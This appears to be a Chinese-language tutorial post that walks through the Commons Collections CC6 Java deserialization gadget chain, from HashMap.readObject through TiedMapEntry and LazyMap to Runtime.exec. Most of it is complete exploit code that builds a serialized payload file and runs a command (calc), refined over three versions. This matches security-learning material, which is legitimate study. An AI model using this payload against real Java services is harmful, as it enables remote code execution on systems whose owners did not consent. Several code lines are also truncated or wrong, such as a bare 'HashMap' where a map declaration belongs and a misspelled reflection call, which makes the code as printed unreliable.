因为JDK8u71后,Java 官方修改了 sun.reflect.annotation.AnnotationInvocationHandler 的readObject函数
- private void readObject(java.io.ObjectInputStream s)
- throws java.io.IOException, ClassNotFoundException {
- - s.defaultReadObject();
- + ObjectInputStream.GetField fields = s.readFields();
- +
- + @SuppressWarnings("unchecked")
- + Class<? extends Annotation> t = (Class<? extends Annotation>)fields.get("type", null);
- + @SuppressWarnings("unchecked")
- + Map<String, Object> streamVals = (Map<String, Object>)fields.get("memberValues", null);
-
- // Check to make sure that types have not evolved incompatibly
-
- AnnotationType annotationType = null;
- try {
- - annotationType = AnnotationType.getInstance(type);
- + annotationType = AnnotationType.getInstance(t);
- } catch(IllegalArgumentException e) {
- // Class is no longer an annotation type; time to punch out
- throw new java.io.InvalidObjectException("Non-annotation type in annotation serial stream");
- }
-
- Map<String, Class<?>> memberTypes = annotationType.memberTypes();
- + // consistent with runtime Map type
- + Map<String, Object> mv = new LinkedHashMap<>();
-
- // If there are annotation members without values, that
- // situation is handled by the invoke method.
- - for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {
- + for (Map.Entry<String, Object> memberValue : streamVals.entrySet()) {
- String name = memberValue.getKey();
- + Object value = null;
- Class<?> memberType = memberTypes.get(name);
- if (memberType != null) { // i.e. member still exists
- - Object value = memberValue.getValue();
- + value = memberValue.getValue();
- if (!(memberType.isInstance(value) ||
- value instanceof ExceptionProxy)) {
- - memberValue.setValue(
- - new AnnotationTypeMismatchExceptionProxy(
- + value = new AnnotationTypeMismatchExceptionProxy(
- value.getClass() + "[" + value + "]").setMember(
- - annotationType.members().get(name)));
- + annotationType.members().get(name));
- }
- }
- + mv.put(name, value);
- + }
- +
- + UnsafeAccessor.setType(this, t);
- + UnsafeAccessor.setMemberValues(this, mv);
- + }
改动后,不再直接使用反序列化得到的Map对象,而是新建了一个LinkedHashMap对象,并将原来的键值添加进去。 所以,后续对Map的操作都是基于这个新的LinkedHashMap对象,而原来我们精心构造的Map不再执 行set或put操作,也就不会触发RCE了。
那有没有一条链不受版本限制呢?有,就是今天说的CC6链,下面正式开始介绍。
下载完后打开OpenJDK,将src/share/classes下的sun文件夹复制到 JDK 8u71的src中
然后在SDKs中导入就好了
这条链相当于 CC1链+URLDNS链,尾部的exec方法还是和CC链的一样,这里就不说了。
对应的EXP:
- Transformer[] transformers = new Transformer[]{
- new ConstantTransformer(Runtime.class),
- new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
- new InvokerTransformer("invoke",new Class[]{Object.class, Object[].class},new Object[]{null,null}),
- new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
- };
- ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
- //chainedTransformer.transform(c);
- HashMap<Object, Object> map = new HashMap<>();
- map.put("value","aaa");
- Map<Object,Object> transforedMap = TransformedMap.decorate(map,null,chainedTransformer);
接下来就是找哪个类调用了LazyMap的get()方法,前面我们说通过find Usage来寻找,我们来看一下结果
4435个results.......只能说很d很卷,能那么多个调用中找到一个合适的构造链子。根据 ysoSerial 官方的链子,是TiedMapEntry类中的getValue()方法调用了LazyMap的get()方法。
继续找谁调用了TiedMapEntry的getValue()方法,找的时候一般先在同一个类中查找,不行再find Usage。可以发现,在同一个类的hashCode()方法中调用了getValue()。
前面已经到hashCode()这里了,那么我们该去找谁调用了hashCode()方法。这里参考别人的文章,在java反序列化中,找到hashCode()之后的链子用的基本是这一条。
xxx.readObject()
HashMap.put() --自动调用--> HashMap.hash()
后续利用链.hashCode()
更巧的是,hashMap本身就是一个完美的入口类,我们来看看它的readObject方法
在末尾可以看到它调用了hash方法,而HashMap的hash方法会调用key.hashCode()
那么我们令key==TiedMapEntry,不就可以调用TiedMapEntry的hashCode方法了么,所以整条链就出来了,梳理一下流程。
1.进入HashMap的readObject方法,readObject中触发HashMap的hash方法
2.触发hash的key.hashCode()进入TiedMapEntry的hashCode()
3.TiedMapEntry中hashCode()又调用getValue()方法
4.getValue方法中map.get(key)触发,进入LazyMap的get方法.....后面就是代码恶意执行了
先把命令执行的那一段敲出来
- Transformer[] transformers = new Transformer[]{
- new ConstantTransformer(Runtime.class),
- new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
- new InvokerTransformer("invoke",new Class[]{Object.class, Object[].class},new Object[]{null,null}),
- new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
- };
- ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
然后就是放入LazyMap中,让这个类的get方法执行命令
Map lazymap = LazyMap.decorate(new HashMap<>(),chainedTransformer);
接着我们不是要通过TiedMapEntry.getValue来调用LazyMap.get吗?那就看看getValue的参数
我们的目的是让map==LazyMap,那就通过TiedMapEntry的构造函数给map赋值
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazymap,"aaa");
而TiedMapEntry.hashCode()会调用getValue,那么接下来要做的就是让HashMap.hash()去调用TiedMapEntry.hashCode()。我们看到HashMap的hash方法接收的参数是key,会对key.hashCode()进行调用。
那我们通过map.put()让TiedMapEntry等于key就好了
HashMap
最后就是将map2序列化就行了,完整的EXP为:
- package org.example;
-
- import org.apache.commons.collections.Transformer;
- import org.apache.commons.collections.functors.ChainedTransformer;
- import org.apache.commons.collections.functors.ConstantTransformer;
- import org.apache.commons.collections.functors.InvokerTransformer;
- import org.apache.commons.collections.keyvalue.TiedMapEntry;
- import org.apache.commons.collections.map.LazyMap;
-
- import java.io.*;
- import java.lang.reflect.Field;
- import java.util.HashMap;
- import java.util.Map;
-
- public class poc {
- public static void main(String[] args) throws Exception {
- Transformer[] transformers = new Transformer[]{
- new ConstantTransformer(Runtime.class),
- new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
- new InvokerTransformer("invoke",new Class[]{Object.class, Object[].class},new Object[]{null,null}),
- new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
- };
- ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
- Map lazymap = LazyMap.decorate(new HashMap<>(),chainedTransformer);
- TiedMapEntry tiedMapEntry = new TiedMapEntry(lazymap,"aaa");
- HashMap
- map2.put(tiedMapEntry,"value");
-
- serialize(map2);
- unserialize("ser.bin");
-
- }
- public static void serialize(Object obj) throws IOException {
- ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
- oos.writeObject(obj);
- }
- public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
- ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
- Object obj = ois.readObject();
- return obj;
- }
- }
到这里其实EXP也算能用了,我们先把反序列化函数注释掉,然后运行会发现弹出计算器
为什么序列化的时候会弹出计算器呢?这里后面再说,我们再把序列化函数注释掉,让反序列化执行。会发现其实反序列化也成功了,勉强可以用。
这里探究一下为什么序列化的时候也会弹出计算器,我们在map2.put处打个断点,然后debug强制进入
发现会进入到HashMap的put里面,而put里面会调用hash方法,然后就会在序列化的时候,将链子提前走了一遍。
为了解决这个问题,我们可以在LazyMap.decorate()放入chainedTransformer攻击语句的时候,将chainedTransformer换成人畜无害的new ConstantTransformer(1),让map2.put走的时候什么也不会执行
Map lazymap = LazyMap.decorate(new HashMap<>(),new ConstantTransformer(1));
因为最后是LazyMap.get()里的factory.transform()执行攻击语句
所以我们在后面利用反射把LazyMap的factory值设为chainedTransformer(恶意代码),因为p.set的参数第一个参数要求是Object,所以这里写上面的lazymap。
- Class c = LazyMap.class;
- Field p = c.getDeclaredFields("factory");
- p.setAccessible(true);
- p.set(lazymap, chainedTransformer);
到目前为止,完整的EXP为:
- package org.example;
-
- import org.apache.commons.collections.Transformer;
- import org.apache.commons.collections.functors.ChainedTransformer;
- import org.apache.commons.collections.functors.ConstantTransformer;
- import org.apache.commons.collections.functors.InvokerTransformer;
- import org.apache.commons.collections.keyvalue.TiedMapEntry;
- import org.apache.commons.collections.map.LazyMap;
-
- import java.io.*;
- import java.lang.reflect.Field;
- import java.util.HashMap;
- import java.util.Map;
-
- public class poc {
- public static void main(String[] args) throws Exception {
- Transformer[] transformers = new Transformer[]{
- new ConstantTransformer(Runtime.class),
- new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
- new InvokerTransformer("invoke",new Class[]{Object.class, Object[].class},new Object[]{null,null}),
- new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
- };
- ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
- Map lazymap = LazyMap.decorate(new HashMap<>(),new ConstantTransformer(1));
- TiedMapEntry tiedMapEntry = new TiedMapEntry(lazymap,"aaa");
- HashMap
- map2.put(tiedMapEntry,"value");
-
- Class c = LazyMap.class;
- Field p = c.getDeclaredFields("factory");
- p.setAccessible(true);
- p.set(lazymap, chainedTransformer);
- serialize(map2);
- //unserialize("ser.bin");
-
- }
- public static void serialize(Object obj) throws IOException {
- ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
- oos.writeObject(obj);
- }
- public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
- ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
- Object obj = ois.readObject();
- return obj;
- }
- }
我们尝试序列化一下,发现不会弹出计算器了。
接着反序列化,发现也没有计算器弹出,这是怎么回事?
我们在LazyMap的if处设置断点,在序列化的时候debug
发现会传入一个key,这个key从哪来的呢?我们看到TiedMapEntry的getValue,它调用LazyMap.get(key)的时候传入的。
而这个key通过EXP中的new TiedMapEntry(lazymap,"aaa")调用构造函数来赋值
这对我们后面反序列化有什么影响呢?序列化时,因为map2.put()方法,会将链子提前走一遍。走到LazyMap.get()处,进入if后会通过map.put(key,value)将aaa这个key写入map中。
那么在反序列化时,同样走到这个位置,if会判断map中是否包含aaa这个key。因为在序列化时会将aaa这个key写入map,所以这里返回的肯定是true,进不了循环,也就进不来if里面执行恶意代码。
解决这个很简单,在后面将这个key移除就好
lazymap.remove("aaa");
- package org.example;
-
- import org.apache.commons.collections.Transformer;
- import org.apache.commons.collections.functors.ChainedTransformer;
- import org.apache.commons.collections.functors.ConstantTransformer;
- import org.apache.commons.collections.functors.InvokerTransformer;
- import org.apache.commons.collections.keyvalue.TiedMapEntry;
- import org.apache.commons.collections.map.LazyMap;
-
- import java.io.*;
- import java.lang.reflect.Field;
- import java.util.HashMap;
- import java.util.Map;
-
- public class poc {
- public static void main(String[] args) throws Exception {
- Transformer[] transformers = new Transformer[]{
- new ConstantTransformer(Runtime.class),
- new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
- new InvokerTransformer("invoke",new Class[]{Object.class, Object[].class},new Object[]{null,null}),
- new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
- };
- ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
- Map map = new HashMap<>();
- Map lazymap = LazyMap.decorate(map,new ConstantTransformer(1));
- TiedMapEntry tiedMapEntry = new TiedMapEntry(lazymap,"aaa");
- HashMap
- map2.put(tiedMapEntry,"value");
- lazymap.remove("aaa");
-
- Class c = LazyMap.class;
- Field p = c.getDeclaredField("factory");
- p.setAccessible(true);
- p.set(lazymap, chainedTransformer);
- serialize(map2);
- unserialize("ser.bin");
-
- }
- public static void serialize(Object obj) throws IOException {
- ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
- oos.writeObject(obj);
- }
- public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
- ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
- Object obj = ois.readObject();
- return obj;
- }
- }
看一下全过程的链子
HahsMap.readObject() HashMap.put() HashMap.hash() TiedMapEntry.hashCode() TiedMapEntry.getValue() LazyMap.get() ChainedTransformer.transform() InvokerTransformer.transform() Runtime.exec()